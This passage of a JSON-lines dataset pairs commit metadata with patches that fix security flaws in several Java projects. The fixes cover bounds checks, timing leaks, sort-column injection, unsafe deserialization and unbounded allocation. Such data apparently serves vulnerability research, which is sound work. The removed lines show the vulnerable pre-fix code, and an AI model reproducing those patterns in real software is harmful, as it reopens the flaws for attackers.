}\n }", "related": false}]} +{"owner": "rweather", "repo": "noise-java", "language": "Java", "file_name": "src/main/java/com/southernstorm/noise/protocol/ChaChaPolyCipherState.java", "commit_id": "18e86b6f8bea7326934109aa9ffa705ebf4bde90", "commit_message": "Improve array bounds checks in CipherState implementations\n\nThanks to Pietro Oliva for identifying these issues.", "patch": "@@ -214,10 +214,11 @@ private void encrypt(byte[] plaintext, int plaintextOffset,\n \tpublic int encryptWithAd(byte[] ad, byte[] plaintext, int plaintextOffset,\n \t\t\tbyte[] ciphertext, int ciphertextOffset, int length) throws ShortBufferException {\n \t\tint space;\n-\t\tif (ciphertextOffset > ciphertext.length)\n-\t\t\tspace = 0;\n-\t\telse\n-\t\t\tspace = ciphertext.length - ciphertextOffset;\n+\t\tif (ciphertextOffset < 0 || ciphertextOffset > ciphertext.length)\n+\t\t\tthrow new IllegalArgumentException();\n+\t\tif (length < 0 || plaintextOffset < 0 || plaintextOffset > plaintext.length)\n+\t\t\tthrow new IllegalArgumentException();\n+\t\tspace = ciphertext.length - ciphertextOffset;\n \t\tif (!haskey) {\n \t\t\t// The key is not set yet - return the plaintext as-is.\n \t\t\tif (length > space)\n@@ -241,16 +242,15 @@ public int decryptWithAd(byte[] ad, byte[] ciphertext,\n \t\t\tint ciphertextOffset, byte[] plaintext, int plaintextOffset,\n \t\t\tint length) throws ShortBufferException, BadPaddingException {\n \t\tint space;\n-\t\tif (ciphertextOffset > ciphertext.length)\n-\t\t\tspace = 0;\n+\t\tif (ciphertextOffset < 0 || ciphertextOffset > ciphertext.length)\n+\t\t\tthrow new IllegalArgumentException();\n \t\telse\n \t\t\tspace = ciphertext.length - ciphertextOffset;\n \t\tif (length > space)\n \t\t\tthrow new ShortBufferException();\n-\t\tif (plaintextOffset > plaintext.length)\n-\t\t\tspace = 0;\n-\t\telse\n-\t\t\tspace = plaintext.length - plaintextOffset;\n+\t\tif (length < 0 || plaintextOffset < 0 || plaintextOffset > plaintext.length)\n+\t\t\tthrow new IllegalArgumentException();\n+\t\tspace = plaintext.length - plaintextOffset;\n \t\tif (!haskey) {\n \t\t\t// The key is not set yet - return the ciphertext as-is.\n \t\t\tif (length > space)", "sections": [{"section": "@@ -214,10 +214,11 @@ private void encrypt(byte[] plaintext, int plaintextOffset,\n \tpublic int encryptWithAd(byte[] ad, byte[] plaintext, int plaintextOffset,\n \t\t\tbyte[] ciphertext, int ciphertextOffset, int length) throws ShortBufferException {\n \t\tint space;\n-\t\tif (ciphertextOffset > ciphertext.length)\n-\t\t\tspace = 0;\n-\t\telse\n-\t\t\tspace = ciphertext.length - ciphertextOffset;\n+\t\tif (ciphertextOffset < 0 || ciphertextOffset > ciphertext.length)\n+\t\t\tthrow new IllegalArgumentException();\n+\t\tif (length < 0 || plaintextOffset < 0 || plaintextOffset > plaintext.length)\n+\t\t\tthrow new IllegalArgumentException();\n+\t\tspace = ciphertext.length - ciphertextOffset;\n \t\tif (!haskey) {\n \t\t\t// The key is not set yet - return the plaintext as-is.\n \t\t\tif (length > space)\n", "related": false}, {"section": "@@ -241,16 +242,15 @@ public int decryptWithAd(byte[] ad, byte[] ciphertext,\n \t\t\tint ciphertextOffset, byte[] plaintext, int plaintextOffset,\n \t\t\tint length) throws ShortBufferException, BadPaddingException {\n \t\tint space;\n-\t\tif (ciphertextOffset > ciphertext.length)\n-\t\t\tspace = 0;\n+\t\tif (ciphertextOffset < 0 || ciphertextOffset > ciphertext.length)\n+\t\t\tthrow new IllegalArgumentException();\n \t\telse\n \t\t\tspace = ciphertext.length - ciphertextOffset;\n \t\tif (length > space)\n \t\t\tthrow new ShortBufferException();\n-\t\tif (plaintextOffset > plaintext.length)\n-\t\t\tspace = 0;\n-\t\telse\n-\t\t\tspace = plaintext.length - plaintextOffset;\n+\t\tif (length < 0 || plaintextOffset < 0 || plaintextOffset > plaintext.length)\n+\t\t\tthrow new IllegalArgumentException();\n+\t\tspace = plaintext.length - plaintextOffset;\n \t\tif (!haskey) {\n \t\t\t// The key is not set yet - return the ciphertext as-is.\n \t\t\tif (length > space)", "related": false}]} +{"owner": "94fzb", "repo": "zrlog", "language": "Java", "file_name": "common/src/main/java/com/zrlog/web/util/PluginHelper.java", "commit_id": "b2b4415e2e59b6f18b0a62b633e71c96d63c43ba", "commit_message": "Fix #48 forget remove token from ThreadLocal", "patch": "@@ -1,8 +1,7 @@\n-package com.zrlog.service;\n+package com.zrlog.web.util;\n \n-import com.jfinal.core.JFinal;\n import com.zrlog.common.vo.AdminTokenVO;\n-import com.zrlog.model.User;\n+import com.zrlog.util.BlogBuildInfoUtil;\n import com.zrlog.util.I18nUtil;\n import com.zrlog.util.ZrLogUtil;\n \n@@ -12,17 +11,14 @@\n \n public class PluginHelper {\n \n- public static Map genHeaderMapByRequest(HttpServletRequest request) {\n+ public static Map genHeaderMapByRequest(HttpServletRequest request, AdminTokenVO adminTokenVO) {\n Map map = new HashMap<>();\n- AdminTokenVO adminTokenVO = AdminTokenThreadLocal.getUser();\n if (adminTokenVO != null) {\n- User user = User.dao.findById(adminTokenVO.getUserId());\n- map.put(\"LoginUserName\", user.get(\"userName\").toString());\n map.put(\"LoginUserId\", adminTokenVO.getUserId() + \"\");\n }\n map.put(\"IsLogin\", (adminTokenVO != null) + \"\");\n map.put(\"Current-Locale\", I18nUtil.getCurrentLocale());\n- map.put(\"Blog-Version\", ((Map) JFinal.me().getServletContext().getAttribute(\"zrlog\")).get(\"version\").toString());\n+ map.put(\"Blog-Version\", BlogBuildInfoUtil.getVersion());\n if (request != null) {\n String fullUrl = ZrLogUtil.getFullUrl(request);\n if (request.getQueryString() != null) {", "sections": [{"section": "@@ -1,8 +1,7 @@\n-package com.zrlog.service;\n+package com.zrlog.web.util;\n \n-import com.jfinal.core.JFinal;\n import com.zrlog.common.vo.AdminTokenVO;\n-import com.zrlog.model.User;\n+import com.zrlog.util.BlogBuildInfoUtil;\n import com.zrlog.util.I18nUtil;\n import com.zrlog.util.ZrLogUtil;\n \n", "related": false}, {"section": "@@ -12,17 +11,14 @@\n \n public class PluginHelper {\n \n- public static Map genHeaderMapByRequest(HttpServletRequest request) {\n+ public static Map genHeaderMapByRequest(HttpServletRequest request, AdminTokenVO adminTokenVO) {\n Map map = new HashMap<>();\n- AdminTokenVO adminTokenVO = AdminTokenThreadLocal.getUser();\n if (adminTokenVO != null) {\n- User user = User.dao.findById(adminTokenVO.getUserId());\n- map.put(\"LoginUserName\", user.get(\"userName\").toString());\n map.put(\"LoginUserId\", adminTokenVO.getUserId() + \"\");\n }\n map.put(\"IsLogin\", (adminTokenVO != null) + \"\");\n map.put(\"Current-Locale\", I18nUtil.getCurrentLocale());\n- map.put(\"Blog-Version\", ((Map) JFinal.me().getServletContext().getAttribute(\"zrlog\")).get(\"version\").toString());\n+ map.put(\"Blog-Version\", BlogBuildInfoUtil.getVersion());\n if (request != null) {\n String fullUrl = ZrLogUtil.getFullUrl(request);\n if (request.getQueryString() != null) {", "related": false}]} +{"owner": "bcgit", "repo": "bc-java", "language": "Java", "file_name": "core/src/main/java/org/bouncycastle/crypto/engines/RSACoreEngine.java", "commit_id": "930f8b274c4f1f3a46e68b5441f1e7fadb57e8c1", "commit_message": "further work to improve constant time in OAEP and RSA core.", "patch": "@@ -1,12 +1,13 @@\n package org.bouncycastle.crypto.engines;\n \n+import java.math.BigInteger;\n+\n import org.bouncycastle.crypto.CipherParameters;\n import org.bouncycastle.crypto.DataLengthException;\n import org.bouncycastle.crypto.params.ParametersWithRandom;\n import org.bouncycastle.crypto.params.RSAKeyParameters;\n import org.bouncycastle.crypto.params.RSAPrivateCrtKeyParameters;\n-\n-import java.math.BigInteger;\n+import org.bouncycastle.util.Arrays;\n \n /**\n * this does your basic RSA algorithm.\n@@ -142,20 +143,29 @@ public byte[] convertOutput(\n \n return tmp;\n }\n+\n+ return output;\n }\n else\n {\n+ byte[] rv;\n if (output[0] == 0) // have ended up with an extra zero byte, copy down.\n {\n- byte[] tmp = new byte[output.length - 1];\n+ rv = new byte[output.length - 1];\n \n- System.arraycopy(output, 1, tmp, 0, tmp.length);\n+ System.arraycopy(output, 1, rv, 0, rv.length);\n+ }\n+ else // maintain decryption time\n+ {\n+ rv = new byte[output.length];\n \n- return tmp;\n+ System.arraycopy(output, 0, rv, 0, rv.length);\n }\n- }\n \n- return output;\n+ Arrays.fill(output, (byte)0);\n+\n+ return rv;\n+ }\n }\n \n public BigInteger processBlock(BigInteger input)", "sections": [{"section": "@@ -1,12 +1,13 @@\n package org.bouncycastle.crypto.engines;\n \n+import java.math.BigInteger;\n+\n import org.bouncycastle.crypto.CipherParameters;\n import org.bouncycastle.crypto.DataLengthException;\n import org.bouncycastle.crypto.params.ParametersWithRandom;\n import org.bouncycastle.crypto.params.RSAKeyParameters;\n import org.bouncycastle.crypto.params.RSAPrivateCrtKeyParameters;\n-\n-import java.math.BigInteger;\n+import org.bouncycastle.util.Arrays;\n \n /**\n * this does your basic RSA algorithm.\n", "related": false}, {"section": "@@ -142,20 +143,29 @@ public byte[] convertOutput(\n \n return tmp;\n }\n+\n+ return output;\n }\n else\n {\n+ byte[] rv;\n if (output[0] == 0) // have ended up with an extra zero byte, copy down.\n {\n- byte[] tmp = new byte[output.length - 1];\n+ rv = new byte[output.length - 1];\n \n- System.arraycopy(output, 1, tmp, 0, tmp.length);\n+ System.arraycopy(output, 1, rv, 0, rv.length);\n+ }\n+ else // maintain decryption time\n+ {\n+ rv = new byte[output.length];\n \n- return tmp;\n+ System.arraycopy(output, 0, rv, 0, rv.length);\n }\n- }\n \n- return output;\n+ Arrays.fill(output, (byte)0);\n+\n+ return rv;\n+ }\n }\n \n public BigInteger processBlock(BigInteger input)", "related": false}]} +{"owner": "spring-cloud", "repo": "spring-cloud-task", "language": "Java", "file_name": "spring-cloud-task-core/src/main/java/org/springframework/cloud/task/repository/dao/JdbcTaskExecutionDao.java", "commit_id": "25592edb004eb5b059e9a093658437b18cff0979", "commit_message": "Added sort validation\n\nThis commit now validates that the value passed via a PageRequest to\nsort the results by is a valid value.\n\nResolves #739\n\nFixed to allow for all letter cases\n\nPolish", "patch": "@@ -1,5 +1,5 @@\n /*\n- * Copyright 2015-2019 the original author or authors.\n+ * Copyright 2015-2020 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n@@ -22,6 +22,7 @@\n import java.util.ArrayList;\n import java.util.Collections;\n import java.util.Date;\n+import java.util.HashSet;\n import java.util.LinkedHashMap;\n import java.util.List;\n import java.util.Map;\n@@ -58,6 +59,7 @@\n * @author Gunnar Hillert\n * @author David Turanski\n * @author Ilayaperumal Gopinathan\n+ * @author Michael Minella\n */\n public class JdbcTaskExecutionDao implements TaskExecutionDao {\n \n@@ -161,6 +163,21 @@ public class JdbcTaskExecutionDao implements TaskExecutionDao {\n \n \tprivate DataFieldMaxValueIncrementer taskIncrementer;\n \n+\tprivate static final Set validSortColumns = new HashSet<>(10);\n+\n+\tstatic {\n+\t\tvalidSortColumns.add(\"TASK_EXECUTION_ID\");\n+\t\tvalidSortColumns.add(\"START_TIME\");\n+\t\tvalidSortColumns.add(\"END_TIME\");\n+\t\tvalidSortColumns.add(\"TASK_NAME\");\n+\t\tvalidSortColumns.add(\"EXIT_CODE\");\n+\t\tvalidSortColumns.add(\"EXIT_MESSAGE\");\n+\t\tvalidSortColumns.add(\"ERROR_MESSAGE\");\n+\t\tvalidSortColumns.add(\"LAST_UPDATED\");\n+\t\tvalidSortColumns.add(\"EXTERNAL_EXECUTION_ID\");\n+\t\tvalidSortColumns.add(\"PARENT_EXECUTION_ID\");\n+\t}\n+\n \t/**\n \t * Initializes the JdbcTaskExecutionDao.\n \t * @param dataSource used by the dao to execute queries and update the tables.\n@@ -511,8 +528,14 @@ private Page queryForPageableResults(Pageable pageable,\n \n \t\tif (sort != null) {\n \t\t\tfor (Sort.Order sortOrder : sort) {\n-\t\t\t\tsortOrderMap.put(sortOrder.getProperty(),\n-\t\t\t\t\t\tsortOrder.isAscending() ? Order.ASCENDING : Order.DESCENDING);\n+\t\t\t\tif (validSortColumns.contains(sortOrder.getProperty().toUpperCase())) {\n+\t\t\t\t\tsortOrderMap.put(sortOrder.getProperty(),\n+\t\t\t\t\t\t\tsortOrder.isAscending() ? Order.ASCENDING : Order.DESCENDING);\n+\t\t\t\t}\n+\t\t\t\telse {\n+\t\t\t\t\tthrow new IllegalArgumentException(String.format(\n+\t\t\t\t\t\t\t\"Invalid sort option selected: %s\", sortOrder.getProperty()));\n+\t\t\t\t}\n \t\t\t}\n \t\t}\n ", "sections": [{"section": "@@ -1,5 +1,5 @@\n /*\n- * Copyright 2015-2019 the original author or authors.\n+ * Copyright 2015-2020 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n", "related": false}, {"section": "@@ -22,6 +22,7 @@\n import java.util.ArrayList;\n import java.util.Collections;\n import java.util.Date;\n+import java.util.HashSet;\n import java.util.LinkedHashMap;\n import java.util.List;\n import java.util.Map;\n", "related": false}, {"section": "@@ -58,6 +59,7 @@\n * @author Gunnar Hillert\n * @author David Turanski\n * @author Ilayaperumal Gopinathan\n+ * @author Michael Minella\n */\n public class JdbcTaskExecutionDao implements TaskExecutionDao {\n \n", "related": false}, {"section": "@@ -161,6 +163,21 @@ public class JdbcTaskExecutionDao implements TaskExecutionDao {\n \n \tprivate DataFieldMaxValueIncrementer taskIncrementer;\n \n+\tprivate static final Set validSortColumns = new HashSet<>(10);\n+\n+\tstatic {\n+\t\tvalidSortColumns.add(\"TASK_EXECUTION_ID\");\n+\t\tvalidSortColumns.add(\"START_TIME\");\n+\t\tvalidSortColumns.add(\"END_TIME\");\n+\t\tvalidSortColumns.add(\"TASK_NAME\");\n+\t\tvalidSortColumns.add(\"EXIT_CODE\");\n+\t\tvalidSortColumns.add(\"EXIT_MESSAGE\");\n+\t\tvalidSortColumns.add(\"ERROR_MESSAGE\");\n+\t\tvalidSortColumns.add(\"LAST_UPDATED\");\n+\t\tvalidSortColumns.add(\"EXTERNAL_EXECUTION_ID\");\n+\t\tvalidSortColumns.add(\"PARENT_EXECUTION_ID\");\n+\t}\n+\n \t/**\n \t * Initializes the JdbcTaskExecutionDao.\n \t * @param dataSource used by the dao to execute queries and update the tables.\n", "related": false}, {"section": "@@ -511,8 +528,14 @@ private Page queryForPageableResults(Pageable pageable,\n \n \t\tif (sort != null) {\n \t\t\tfor (Sort.Order sortOrder : sort) {\n-\t\t\t\tsortOrderMap.put(sortOrder.getProperty(),\n-\t\t\t\t\t\tsortOrder.isAscending() ? Order.ASCENDING : Order.DESCENDING);\n+\t\t\t\tif (validSortColumns.contains(sortOrder.getProperty().toUpperCase())) {\n+\t\t\t\t\tsortOrderMap.put(sortOrder.getProperty(),\n+\t\t\t\t\t\t\tsortOrder.isAscending() ? Order.ASCENDING : Order.DESCENDING);\n+\t\t\t\t}\n+\t\t\t\telse {\n+\t\t\t\t\tthrow new IllegalArgumentException(String.format(\n+\t\t\t\t\t\t\t\"Invalid sort option selected: %s\", sortOrder.getProperty()));\n+\t\t\t\t}\n \t\t\t}\n \t\t}\n ", "related": false}]} +{"owner": "theonedev", "repo": "onedev", "language": "Java", "file_name": "server-core/src/main/java/io/onedev/server/CoreModule.java", "commit_id": "f864053176c08f59ef2d97fea192ceca46a4d9be", "commit_message": "Do not use deserialized AttachmentSupport from client side to avoid security vulnerabilities", "patch": "@@ -272,7 +272,6 @@\n import io.onedev.server.web.avatar.AvatarManager;\n import io.onedev.server.web.avatar.DefaultAvatarManager;\n import io.onedev.server.web.component.diff.DiffRenderer;\n-import io.onedev.server.web.component.markdown.AttachmentUploadServlet;\n import io.onedev.server.web.component.markdown.SourcePositionTrackExtension;\n import io.onedev.server.web.component.markdown.emoji.EmojiExtension;\n import io.onedev.server.web.component.taskbutton.TaskButton;\n@@ -557,8 +556,6 @@ private void configureWeb() {\n \t\tbind(EditSupportRegistry.class).to(DefaultEditSupportRegistry.class);\n \t\tbind(WebSocketManager.class).to(DefaultWebSocketManager.class);\n \n-\t\tbind(AttachmentUploadServlet.class);\n-\t\t\n \t\tcontributeFromPackage(EditSupport.class, EditSupport.class);\n \t\t\n \t\tbind(org.apache.wicket.protocol.http.WebApplication.class).to(WebApplication.class);", "sections": [{"section": "@@ -272,7 +272,6 @@\n import io.onedev.server.web.avatar.AvatarManager;\n import io.onedev.server.web.avatar.DefaultAvatarManager;\n import io.onedev.server.web.component.diff.DiffRenderer;\n-import io.onedev.server.web.component.markdown.AttachmentUploadServlet;\n import io.onedev.server.web.component.markdown.SourcePositionTrackExtension;\n import io.onedev.server.web.component.markdown.emoji.EmojiExtension;\n import io.onedev.server.web.component.taskbutton.TaskButton;\n", "related": false}, {"section": "@@ -557,8 +556,6 @@ private void configureWeb() {\n \t\tbind(EditSupportRegistry.class).to(DefaultEditSupportRegistry.class);\n \t\tbind(WebSocketManager.class).to(DefaultWebSocketManager.class);\n \n-\t\tbind(AttachmentUploadServlet.class);\n-\t\t\n \t\tcontributeFromPackage(EditSupport.class, EditSupport.class);\n \t\t\n \t\tbind(org.apache.wicket.protocol.http.WebApplication.class).to(WebApplication.class);", "related": false}]} +{"owner": "theonedev", "repo": "onedev", "language": "Java", "file_name": "server-plugin/server-plugin-executor-kubernetes/src/main/java/io/onedev/server/plugin/executor/kubernetes/KubernetesResource.java", "commit_id": "9637fc8fa461c5777282a0021c3deb1e7a48f137", "commit_message": "Do not deserialize data from job nodes in Kubernetes resource to avoid\nsecurity vulnerability", "patch": "@@ -25,6 +25,7 @@\n \n import org.apache.commons.lang.SerializationUtils;\n \n+import com.google.common.base.Splitter;\n import com.google.common.collect.Lists;\n \n import io.onedev.commons.utils.TarUtils;\n@@ -73,20 +74,19 @@ public byte[] getJobContext() {\n \t@Consumes(MediaType.APPLICATION_OCTET_STREAM)\n \t@Produces(MediaType.APPLICATION_OCTET_STREAM)\n @POST\n- public byte[] allocateJobCaches(byte[] cacheAllocationRequestBytes) {\n-\t\tCacheAllocationRequest allocationRequest = (CacheAllocationRequest) SerializationUtils\n-\t\t\t\t.deserialize(cacheAllocationRequestBytes);\n+ public byte[] allocateJobCaches(String cacheAllocationRequestString) {\n+\t\tCacheAllocationRequest cacheAllocationRequest = CacheAllocationRequest.fromString(cacheAllocationRequestString);\n \t\treturn SerializationUtils.serialize((Serializable) jobManager.allocateJobCaches(\n-\t\t\t\tgetJobToken(), allocationRequest.getCurrentTime(), allocationRequest.getInstances()));\n+\t\t\t\tgetJobToken(), cacheAllocationRequest.getCurrentTime(), cacheAllocationRequest.getInstances()));\n }\n \t\n \t@Path(\"/report-job-caches\")\n \t@Consumes(MediaType.APPLICATION_OCTET_STREAM)\n \t@POST\n-\tpublic void reportJobCaches(byte[] cacheInstanceBytes) {\n-\t\t@SuppressWarnings(\"unchecked\")\n-\t\tCollection cacheInstances = (Collection) SerializationUtils\n-\t\t\t\t.deserialize(cacheInstanceBytes);\n+\tpublic void reportJobCaches(String cacheInstancesString) {\n+\t\tCollection cacheInstances = new ArrayList<>();\n+\t\tfor (String field: Splitter.on(';').omitEmptyStrings().split(cacheInstancesString))\n+\t\t\tcacheInstances.add(CacheInstance.fromString(field));\n \t\tjobManager.reportJobCaches(getJobToken(), cacheInstances);\n \t}\n \t", "sections": [{"section": "@@ -25,6 +25,7 @@\n \n import org.apache.commons.lang.SerializationUtils;\n \n+import com.google.common.base.Splitter;\n import com.google.common.collect.Lists;\n \n import io.onedev.commons.utils.TarUtils;\n", "related": false}, {"section": "@@ -73,20 +74,19 @@ public byte[] getJobContext() {\n \t@Consumes(MediaType.APPLICATION_OCTET_STREAM)\n \t@Produces(MediaType.APPLICATION_OCTET_STREAM)\n @POST\n- public byte[] allocateJobCaches(byte[] cacheAllocationRequestBytes) {\n-\t\tCacheAllocationRequest allocationRequest = (CacheAllocationRequest) SerializationUtils\n-\t\t\t\t.deserialize(cacheAllocationRequestBytes);\n+ public byte[] allocateJobCaches(String cacheAllocationRequestString) {\n+\t\tCacheAllocationRequest cacheAllocationRequest = CacheAllocationRequest.fromString(cacheAllocationRequestString);\n \t\treturn SerializationUtils.serialize((Serializable) jobManager.allocateJobCaches(\n-\t\t\t\tgetJobToken(), allocationRequest.getCurrentTime(), allocationRequest.getInstances()));\n+\t\t\t\tgetJobToken(), cacheAllocationRequest.getCurrentTime(), cacheAllocationRequest.getInstances()));\n }\n \t\n \t@Path(\"/report-job-caches\")\n \t@Consumes(MediaType.APPLICATION_OCTET_STREAM)\n \t@POST\n-\tpublic void reportJobCaches(byte[] cacheInstanceBytes) {\n-\t\t@SuppressWarnings(\"unchecked\")\n-\t\tCollection cacheInstances = (Collection) SerializationUtils\n-\t\t\t\t.deserialize(cacheInstanceBytes);\n+\tpublic void reportJobCaches(String cacheInstancesString) {\n+\t\tCollection cacheInstances = new ArrayList<>();\n+\t\tfor (String field: Splitter.on(';').omitEmptyStrings().split(cacheInstancesString))\n+\t\t\tcacheInstances.add(CacheInstance.fromString(field));\n \t\tjobManager.reportJobCaches(getJobToken(), cacheInstances);\n \t}\n \t", "related": false}]} +{"owner": "aosp-mirror", "repo": "platform_frameworks_base", "language": "Java", "file_name": "core/java/android/app/slice/SliceProvider.java", "commit_id": "a185996c829a159bb27446697329b01464ab3c03", "commit_message": "Fix the issue provider can be wrong when requesting slice permission\n\nSlicePermissionActivity reads provider_pkg from intent, which can be\nmodified at will. As a result user might see incorrect package name in\nthe dialog granting slice permission.\n\nBug: 159145361\nTest: manual\nMerged-In: I8b66c02786df4096dad74b7e76255d5ddd1d609d\nChange-Id: I8b66c02786df4096dad74b7e76255d5ddd1d609d\n(cherry picked from commit 4344e632953b103910b48d43f4eb226b38ed5048)", "patch": "@@ -153,6 +153,7 @@ public abstract class SliceProvider extends ContentProvider {\n */\n public static final String EXTRA_PKG = \"pkg\";\n /**\n+ * @Deprecated provider pkg is now being extracted in SlicePermissionActivity\n * @hide\n */\n public static final String EXTRA_PROVIDER_PKG = \"provider_pkg\";", "sections": [{"section": "@@ -153,6 +153,7 @@ public abstract class SliceProvider extends ContentProvider {\n */\n public static final String EXTRA_PKG = \"pkg\";\n /**\n+ * @Deprecated provider pkg is now being extracted in SlicePermissionActivity\n * @hide\n */\n public static final String EXTRA_PROVIDER_PKG = \"provider_pkg\";", "related": false}]} +{"owner": "spring-cloud", "repo": "spring-cloud-netflix", "language": "Java", "file_name": "spring-cloud-netflix-zuul/src/main/java/org/springframework/cloud/netflix/zuul/filters/SimpleRouteLocator.java", "commit_id": "8ecb3dca511c3ce0454e42ac31ee2331d7318c07", "commit_message": "Fix request verification (#3969)\n\n* Add tests reproducing the issue.\r\n\r\n* Strip `'` from path for route search.\r\n\r\n* Add information on contributing, community support and commercial support to project site.\r\n\r\n* Add checking for \"#\". Add logging.\r\n\r\n* Add test.\r\n\r\n* Revert \"Add test.\"\r\n\r\nThis reverts commit 81875849\r\n\r\n* Revert \"Add checking for \"#\". Add logging.\"\r\n\r\nThis reverts commit 0232945a\r\n\r\n* Verify for urls.\r\n\r\n* Verify for encoded and double-encoded Strings.\r\n\r\n* Verify insecure paths with `..\\` and '..//'. Add more tests.", "patch": "@@ -213,6 +213,10 @@ protected boolean matchesIgnoredPatterns(String path) {\n \tprivate String adjustPath(final String path) {\n \t\tString adjustedPath = path;\n \n+\t\tif (path.startsWith(\"'\")) {\n+\t\t\tadjustedPath = path.substring(1);\n+\t\t}\n+\n \t\tif (RequestUtils.isDispatcherServletRequest()\n \t\t\t\t&& StringUtils.hasText(this.dispatcherServletPath)) {\n \t\t\tif (!this.dispatcherServletPath.equals(\"/\")", "sections": [{"section": "@@ -213,6 +213,10 @@ protected boolean matchesIgnoredPatterns(String path) {\n \tprivate String adjustPath(final String path) {\n \t\tString adjustedPath = path;\n \n+\t\tif (path.startsWith(\"'\")) {\n+\t\t\tadjustedPath = path.substring(1);\n+\t\t}\n+\n \t\tif (RequestUtils.isDispatcherServletRequest()\n \t\t\t\t&& StringUtils.hasText(this.dispatcherServletPath)) {\n \t\t\tif (!this.dispatcherServletPath.equals(\"/\")", "related": false}]} +{"owner": "fasterxml", "repo": "jackson-dataformats-binary", "language": "Java", "file_name": "cbor/src/main/java/com/fasterxml/jackson/dataformat/cbor/CBORParser.java", "commit_id": "de072d314af8f5f269c8abec6930652af67bc8e6", "commit_message": "Fix eager allocation aspect of #186", "patch": "@@ -63,6 +63,10 @@ private Feature(boolean defaultState) {\n private final static double MATH_POW_2_10 = Math.pow(2, 10);\n private final static double MATH_POW_2_NEG14 = Math.pow(2, -14);\n \n+ // 2.11.4: [dataformats-binary#186] Avoid OOME/DoS for bigger binary;\n+ // read only up to 250k\n+ protected final static int LONGEST_NON_CHUNKED_BINARY = 250_000;\n+\n /*\n /**********************************************************\n /* Configuration\n@@ -1706,13 +1710,15 @@ public int readBinaryValue(Base64Variant b64variant, OutputStream out) throws IO\n }\n }\n \n- private int _readAndWriteBytes(OutputStream out, int total) throws IOException\n+ private int _readAndWriteBytes(OutputStream out, final int total) throws IOException\n {\n int left = total;\n while (left > 0) {\n int avail = _inputEnd - _inputPtr;\n if (_inputPtr >= _inputEnd) {\n- loadMoreGuaranteed();\n+ if (!loadMore()) {\n+ _reportIncompleteBinaryRead(total, total-left);\n+ }\n avail = _inputEnd - _inputPtr;\n }\n int count = Math.min(avail, left);\n@@ -2425,33 +2431,55 @@ private final int _nextChunkedByte2() throws IOException\n // either way, got it now\n return _inputBuffer[_inputPtr++];\n }\n- \n+\n+ /**\n+ * Helper called to complete reading of binary data (\"byte string\") in\n+ * case contents are needed.\n+ */\n @SuppressWarnings(\"resource\")\n protected byte[] _finishBytes(int len) throws IOException\n {\n+ // Chunked?\n // First, simple: non-chunked\n- if (len >= 0) {\n+ if (len <= 0) {\n if (len == 0) {\n return NO_BYTES;\n }\n- byte[] b = new byte[len];\n- if (_inputPtr >= _inputEnd) {\n- loadMoreGuaranteed();\n+ return _finishChunkedBytes();\n+ }\n+ // Non-chunked, contiguous\n+ if (len > LONGEST_NON_CHUNKED_BINARY) {\n+ // [dataformats-binary#186]: avoid immediate allocation for longest\n+ return _finishLongContiguousBytes(len);\n+ }\n+\n+ final byte[] b = new byte[len];\n+ final int expLen = len;\n+ if (_inputPtr >= _inputEnd) {\n+ if (!loadMore()) {\n+ _reportIncompleteBinaryRead(expLen, 0);\n }\n- int ptr = 0;\n- while (true) {\n- int toAdd = Math.min(len, _inputEnd - _inputPtr);\n- System.arraycopy(_inputBuffer, _inputPtr, b, ptr, toAdd);\n- _inputPtr += toAdd;\n- ptr += toAdd;\n- len -= toAdd;\n- if (len <= 0) {\n- return b;\n- }\n- loadMoreGuaranteed();\n+ }\n+\n+ int ptr = 0;\n+ while (true) {\n+ int toAdd = Math.min(len, _inputEnd - _inputPtr);\n+ System.arraycopy(_inputBuffer, _inputPtr, b, ptr, toAdd);\n+ _inputPtr += toAdd;\n+ ptr += toAdd;\n+ len -= toAdd;\n+ if (len <= 0) {\n+ return b;\n+ }\n+ if (!loadMore()) {\n+ _reportIncompleteBinaryRead(expLen, ptr);\n }\n }\n+ }\n \n+ // @since 2.12\n+ protected byte[] _finishChunkedBytes() throws IOException\n+ {\n // or, if not, chunked...\n ByteArrayBuilder bb = _getByteArrayBuilder();\n while (true) {\n@@ -2468,14 +2496,17 @@ protected byte[] _finishBytes(int len) throws IOException\n throw _constructError(\"Mismatched chunk in chunked content: expected \"+CBORConstants.MAJOR_TYPE_BYTES\n +\" but encountered \"+type);\n }\n- len = _decodeExplicitLength(ch & 0x1F);\n+ int len = _decodeExplicitLength(ch & 0x1F);\n if (len < 0) {\n throw _constructError(\"Illegal chunked-length indicator within chunked-length value (type \"+CBORConstants.MAJOR_TYPE_BYTES+\")\");\n }\n+ final int chunkLen = len;\n while (len > 0) {\n int avail = _inputEnd - _inputPtr;\n if (_inputPtr >= _inputEnd) {\n- loadMoreGuaranteed();\n+ if (!loadMore()) {\n+ _reportIncompleteBinaryRead(chunkLen, chunkLen-len);\n+ }\n avail = _inputEnd - _inputPtr;\n }\n int count = Math.min(avail, len);\n@@ -2486,7 +2517,33 @@ protected byte[] _finishBytes(int len) throws IOException\n }\n return bb.toByteArray();\n }\n- \n+\n+ // @since 2.12\n+ protected byte[] _finishLongContiguousBytes(final int expLen) throws IOException\n+ {\n+ int left = expLen;\n+\n+ // 04-Dec-2020, tatu: Let's NOT use recycled instance since we have much\n+ // longer content and there is likely less benefit of trying to recycle\n+ // segments\n+ try (final ByteArrayBuilder bb = new ByteArrayBuilder(LONGEST_NON_CHUNKED_BINARY >> 1)) {\n+ while (left > 0) {\n+ int avail = _inputEnd - _inputPtr;\n+ if (avail <= 0) {\n+ if (!loadMore()) {\n+ _reportIncompleteBinaryRead(expLen, expLen-left);\n+ }\n+ avail = _inputEnd - _inputPtr;\n+ }\n+ int count = Math.min(avail, left);\n+ bb.write(_inputBuffer, _inputPtr, count);\n+ _inputPtr += count;\n+ left -= count; \n+ }\n+ return bb.toByteArray();\n+ }\n+ }\n+\n protected final JsonToken _decodeFieldName() throws IOException\n { \n if (_inputPtr >= _inputEnd) {\n@@ -2635,9 +2692,8 @@ protected final void _decodeNonStringName(int ch) throws IOException\n } else if (type == CBORConstants.MAJOR_TYPE_INT_NEG) {\n name = _numberToName(ch, true);\n } else if (type == CBORConstants.MAJOR_TYPE_BYTES) {\n- /* 08-Sep-2014, tatu: As per [Issue#5], there are codecs\n- * (f.ex. Perl module \"CBOR::XS\") that use Binary data...\n- */\n+ // 08-Sep-2014, tatu: As per [Issue#5], there are codecs\n+ // (f.ex. Perl module \"CBOR::XS\") that use Binary data...\n final int blen = _decodeExplicitLength(ch & 